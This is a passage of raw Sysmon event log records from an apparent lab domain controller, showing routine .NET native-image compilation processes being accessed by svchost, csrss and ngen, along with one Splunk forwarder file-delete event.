14:44:58.498{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6A-613B-BA09-00000000F001}6388C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.479{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6A-613B-BA09-00000000F001}6388C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.478{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6A-613B-BA09-00000000F001}6388C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.442{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6A-613B-B909-00000000F001}6812C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.406{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6A-613B-B909-00000000F001}6812C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.404{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6A-613B-B909-00000000F001}6812C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.358{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6A-613B-B809-00000000F001}6160C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.340{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6A-613B-B809-00000000F001}6160C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:58.340{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6A-613B-B809-00000000F001}6160C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.991{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6B-613B-C709-00000000F001}4556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.984{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6B-613B-C709-00000000F001}4556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.984{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6B-613B-C709-00000000F001}4556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.901{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6B-613B-C609-00000000F001}6792C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.891{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6B-613B-C609-00000000F001}6792C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.891{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6B-613B-C609-00000000F001}6792C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.871{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E1E9289DFEF8A876472529E7FFDC0593,SHA256=6ED2F186B20C7ED144C93EF5C8E4361A7C7243821B4C7ED2DAE0E828FDCDB581,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.871{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6B-613B-C509-00000000F001}4816C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.851{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6B-613B-C509-00000000F001}4816C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.851{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6B-613B-C509-00000000F001}4816C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.821{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6B-613B-C409-00000000F001}7144C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.811{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6B-613B-C409-00000000F001}7144C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.811{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6B-613B-C409-00000000F001}7144C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.785{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6B-613B-C309-00000000F001}6164C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.771{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6B-613B-C309-00000000F001}6164C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.771{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6B-613B-C309-00000000F001}6164C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen